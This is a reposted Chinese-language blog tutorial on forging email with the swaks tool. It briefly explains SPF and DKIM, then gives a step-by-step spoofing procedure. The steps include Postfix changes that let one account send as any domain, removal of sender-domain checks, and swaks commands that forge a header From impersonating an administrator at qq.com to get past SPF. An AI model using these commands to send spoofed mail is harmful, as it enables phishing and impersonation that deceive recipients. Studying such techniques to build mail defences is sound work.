Swaks偽造郵件


一、郵件偽造防御介紹

0x1、SPF介紹

SPF記錄是阻止垃圾郵件發件人發送假冒您的域中的“發件人”地址的電子郵件。收件人可以參考 SPF 記錄來確定號稱來自您的域的郵件是否來自授權郵件服務器。對於大多主流的郵件服務商,鑒別發送者的SPF記錄有助於抵御垃圾郵件給接收者帶來的騷擾。

SMTP協議本身沒有辦法鑒別寄件人的真正身份,在沒有SPF得情況下,是可以偽造任何用戶,SPF 記錄允許域名管理員公布所授權的郵件服務器IP地址,接收服務器會在收到郵件時驗證發件人在 SMTP 會話中執行 MAIL FROM 命令時的郵件地址是否與域名 SPF 記錄中所指定的源 IP 匹配。

以判斷是否為發件人域名偽造,郵件接收方的收件服務器在接受到郵件后,首先檢查域名的SPF記錄,來確定發件人的IP地址是否被包含在SPF記錄里,如果不在就會發送識別或者進入垃圾郵箱,SPF是TXT記錄,當用戶收到郵件之后,會根據郵件的from值,向DNS請求發件人所用的域名,得到TXT記錄中的域名或者IP跟郵件頭的IP來源作比較,符合進收件箱,不符合過濾或者進垃圾箱。

 

0x2、DKIM介紹

DKIM 是郵件認證機制,使用公開密鑰加密的基礎提供了數字簽名與身份驗證的功能,以檢測寄件者、主旨、內文、附件等部分有否被偽冒或竄改。一般來說,發送方會在電子郵件的標頭插入DKIM-Signature及電子簽名信息。而接收方則透過DNS查詢得到公開密鑰后進行驗證

 

二、利用過程

0x1.搭建郵件服務器

首先需要自己搭建郵件服務器采用的是EwoMail搭建參考鏈接:

 http://doc.ewomail.com/docs/ewomail/install

0x2郵件偽造發送

swaks --to 收件人   --from  發送人  --body  內容  --server 郵件服務器地址 -p 2525 -au 用戶名  -ap  密碼

發送偽造郵件會出現Sender address rejected: not owned by

 這樣的報錯導致未成功發送,原因是postfix設置的問題。需要進行一下修改vim /etc/postfix/main.cf

找到smtpd_sender_login_maps修改為如下:smtpd_sender_login_maps = mysql:/etc/postfix/mysql/mysql-sender-login-maps.cf,pcre:/etc/postfix/login_maps.pcre

找到smtpd_recipient_restrictions刪除reject_unknown_sender_domain這樣就不會對發送domain進行驗證

新增文件/etc/postfix/login_maps.pcre

/^(.*)$/ test1@domain.com(允許用戶test1@domain.com使用任意domain)

執行命令使修改內容生效

postmap /etc/postfix/login_maps.pcre

postfix reload

0x3.SPF校驗及繞過

會驗證smtp.from發送人郵件服務器是否和郵件服務器地址IP相等,如果不同SPF則會驗證失敗。

郵件顯示的是Header當中的From不是smtp.from,因此可以將smtp.from設置為正常的郵件服務器地址,偽造一個Mail.From

 swaks --to 123456@qq.com --from 正常地址 --h-From: '管理員<admin@qq.com>' --ehlo qq.com --body hello --server 郵件服務器 -p 25 -au <USER> -ap <PASSS>

 

不過這樣的方法經過測試,會存在一個問題,會顯示由xxxx代發,而這個則就是我們真實發送的郵箱。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM